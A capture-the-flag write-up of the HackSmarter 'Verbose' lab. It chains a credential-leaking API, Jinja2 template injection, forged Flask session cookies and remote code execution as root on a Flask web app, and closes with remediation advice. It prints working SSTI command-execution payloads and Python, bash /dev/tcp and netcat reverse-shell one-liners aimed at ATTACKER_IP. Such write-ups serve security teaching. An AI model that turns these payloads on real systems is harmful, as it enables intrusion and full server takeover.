Objective / Scope
You have been authorized to perform an external penetration test against a target organization. During the initial reconnaissance phase, you identified a web application that allows unrestricted public user registration.
- Enumerate: Map the application’s attack surface and functionality.
- Identify: Locate exploitable vulnerabilities within the application logic or configuration.
- Exploit & Escalate: Leverage identified flaws to compromise the system, with the final goal of securing root access to the host server to demonstrate maximum impact.
Target Information
Definition (Note From Tyler)
This is a slightly modified lab from my upcoming web app pentesting course. There are more vulnerabilities in this app than what is needed to solve it. If you want to take it to the next level, create a full pentest report on all of your findings!
Executive Summary
Summary (TL;DR)
This writeup documents the complete exploitation chain for the HackSmarter “Verbose” challenge lab. The target was a Flask-based web application vulnerable to multiple critical security flaws, including Sensitive Data Exposure, Server-Side Template Injection (SSTI), and Insecure Session Management. The attack chain progressed from information disclosure to full remote code execution with root privileges.
Flags Captured:
- User Flag:
HSM{REDACTED} - Root Flag:
HSM{REDACTED}
Target Information
| Property | Value |
|---|---|
| IP Address | 10.1.108.155 |
| Operating System | Ubuntu Linux |
| Web Framework | Flask (Werkzeug 3.1.5, Python 3.12.3) |
| Open Ports | 22 (SSH), 80 (HTTP) |
Phase 1: Reconnaissance
Port Scanning
Initial reconnaissance began with an Nmap scan to identify open services:
nmap -sC -sV -p- --min-rate=5000 -oN scans/nmap-full.txt 10.1.108.155Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.1480/tcp open http Werkzeug httpd 3.1.5 (Python 3.12.3)The HTTP service was identified as a Flask/Werkzeug application titled “Hack Smarter Portal” with automatic redirect to /login.
Directory Enumeration
Directory brute-forcing revealed standard web application endpoints:
gobuster dir -u http://10.1.108.155 -w /usr/share/wordlists/dirb/common.txtDiscovered Endpoints:
/login- Authentication page/register- User registration/messages- Internal messaging (requires auth)/profile- User profile management (requires auth)/logout- Session termination
Phase 2: Initial Access - Sensitive Data Exposure
Discovery
After registering an account and logging in, the /messages page was examined. Viewing the page source revealed a critical vulnerability in the JavaScript code:
Tip (Always Check the Source!)
// Vulnerability: Overly Verbose Response / Sensitive Data Exposure// This requests the PATH '/api/users/all'.// The browser receives the full JSON (with passwords), even though we only display names.fetch('/api/users/all') .then(response => response.json()) .then(data => { // ... only displays usernames });The developers even left a comment describing the vulnerability. Always view page source and inspect network requests — you might find hidden API endpoints leaking sensitive data!
Exploitation
Directly accessing the API endpoint leaked all user credentials:
curl http://10.1.108.155/api/users/all | jqDanger (Leaked Credentials)
| Username | Password | Role | MFA Code |
|---|---|---|---|
| tony | basketball | user | - |
| johnny | dolphin | user | - |
| admin | YouWontGetThisPasswordYouNoobLOL123 | admin | 6045 |
| student | liverpool | user | - |
The admin account was protected by MFA, but the MFA code was also exposed in the API response — completely defeating the purpose of MFA!
Phase 3: Server-Side Template Injection (SSTI)
Discovery
The /messages endpoint allowed users to send messages to other users. Testing for SSTI in the message content field:
Tip (SSTI Detection Technique)
Test Payload:
{{7*7}}Response: The message was rendered as 49, confirming Jinja2 SSTI vulnerability. This classic test payload works because template engines will evaluate the expression, while a non-vulnerable application would display the literal string.
Leaking Flask Configuration
The SSTI vulnerability was used to extract sensitive application configuration:
Payload:
{{config}}Warning (Extracted SECRET_KEY)
hack-smarter-secret-key-1337This secret key is used by Flask to sign session cookies. With this key in hand, we can forge arbitrary session cookies — including admin sessions!
Phase 4: Session Forgery - Admin Access
Flask Session Cookie Structure
Flask session cookies are signed but not encrypted. With the leaked SECRET_KEY, valid admin sessions can be forged.
Decoding an existing session cookie revealed the structure:
{"role":"user","session_id":"78c0b838-6ce7-446d-8e7e-733bc308529c","user":"attacker99"}Forging Admin Session
Tip (flask-unsign)
Using flask-unsign to create a forged admin session:
flask-unsign --sign \ --cookie '{"role":"admin","session_id":"forged-session","user":"admin"}' \ --secret 'hack-smarter-secret-key-1337'flask-unsign is an essential tool for Flask pentesting. It can decode, brute-force, and sign Flask session cookies. Install it with pip install flask-unsign.
User Flag Captured
Replacing the session cookie with the forged admin token granted access to /admin/dashboard, where the user flag was displayed:
User Flag: HSM{REDACTED}
Phase 5: Remote Code Execution
SSTI to RCE Escalation
With confirmed SSTI, the vulnerability was escalated to Remote Code Execution using Jinja2’s access to Python’s object model.
RCE Payload:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}Danger (Running as Root!)
Response:
uid=0(root) gid=0(root) groups=0(root)The application was running as root — a critical security misconfiguration. This means any code execution vulnerability immediately grants full system compromise with no privilege escalation needed.
Root Flag Captured
Reading the root flag:
Payload:
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /root/root.txt').read()}}Root Flag: HSM{REDACTED}
Obtaining a Reverse Shell
Instead of executing commands one at a time via SSTI, a full interactive shell can be obtained.
Note (Step 1: Start a Netcat Listener)
On your attack machine:
nc -lvnp 4444Tip (Step 2: Send Reverse Shell Payload)
Use one of the following SSTI payloads in the message field (replace ATTACKER_IP with your tun0 IP):
Python Reverse Shell (Most Reliable):
{{request.application.__globals__.__builtins__.__import__('os').popen('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])\'').read()}}Bash Reverse Shell:
{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}Netcat with mkfifo:
{{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f').read()}}The Python payload is generally most reliable since we already confirmed Python 3.12 is running on the target. If one payload doesn’t work, try the others — different environments may block certain techniques.
Tip (Step 3: Upgrade to Fully Interactive TTY)
Once the shell connects:
# Spawn a proper TTYpython3 -c 'import pty;pty.spawn("/bin/bash")'
# Background the shell# Press Ctrl+Z
# Fix terminal settings on your machinestty raw -echo; fg
# Set terminal typeexport TERM=xtermThis provides a fully interactive root shell with proper terminal handling, allowing use of tab completion, arrow keys, and interactive programs like vim or sudo.
Additional Vulnerabilities Discovered
Important (Bonus Finding: IDOR in Profile Update)
The profile update functionality was vulnerable to Insecure Direct Object Reference (IDOR):
Endpoint: POST /profile
Vulnerable Parameter:
action=update_email&user_id=3&email=hacker@evil.comThis allowed modification of other users’ email addresses by manipulating the user_id parameter. While not needed for the main attack chain, this represents another critical authorization flaw.
Attack Chain Summary
┌─────────────────────────────────────────────────────────────────┐│ 1. RECONNAISSANCE ││ └─> Nmap scan reveals Flask/Werkzeug on port 80 │├─────────────────────────────────────────────────────────────────┤│ 2. SENSITIVE DATA EXPOSURE ││ └─> /api/users/all leaks all credentials + MFA codes │├─────────────────────────────────────────────────────────────────┤│ 3. SSTI DISCOVERY ││ └─> {{7*7}} in messages renders as 49 │├─────────────────────────────────────────────────────────────────┤│ 4. SECRET KEY EXTRACTION ││ └─> {{config}} leaks Flask SECRET_KEY │├─────────────────────────────────────────────────────────────────┤│ 5. SESSION FORGERY ││ └─> flask-unsign creates admin session cookie ││ └─> USER FLAG: HSM{REDACTED} │├─────────────────────────────────────────────────────────────────┤│ 6. SSTI TO RCE ││ └─> Jinja2 payload executes as root ││ └─> ROOT FLAG: HSM{REDACTED} │└─────────────────────────────────────────────────────────────────┘Remediation Recommendations
Danger (Critical Priority)
-
Remove Sensitive Data from API Responses
- Never expose passwords, MFA codes, or sensitive data in API responses
- Implement proper data serialization that excludes sensitive fields
-
Fix Server-Side Template Injection
- Never render user input directly in templates
- Use proper escaping:
{{ user_input|e }} - Consider using a sandboxed template environment
-
Rotate Secret Keys
- Immediately rotate the Flask SECRET_KEY
- Store secrets in environment variables, not in code
Warning (High Priority)
-
Implement Proper Session Management
- Use secure, httponly, and samesite cookie flags
- Consider server-side session storage
-
Fix IDOR Vulnerability
- Implement proper authorization checks on profile updates
- Verify user owns the resource being modified
-
Run Application as Non-Root User
- Create a dedicated service account
- Apply principle of least privilege
Note (Medium Priority)
-
Add Rate Limiting
- Protect against brute force attacks on login and API endpoints
-
Implement Security Headers
- Add CSP, X-Frame-Options, X-Content-Type-Options
Tools Used
- Nmap - Port scanning and service enumeration
- Gobuster - Directory brute-forcing
- curl/Browser DevTools - API testing and request manipulation
- flask-unsign - Flask session cookie signing/forging
- Netcat (nc) - Reverse shell listener
References
Writeup completed: January 22, 2026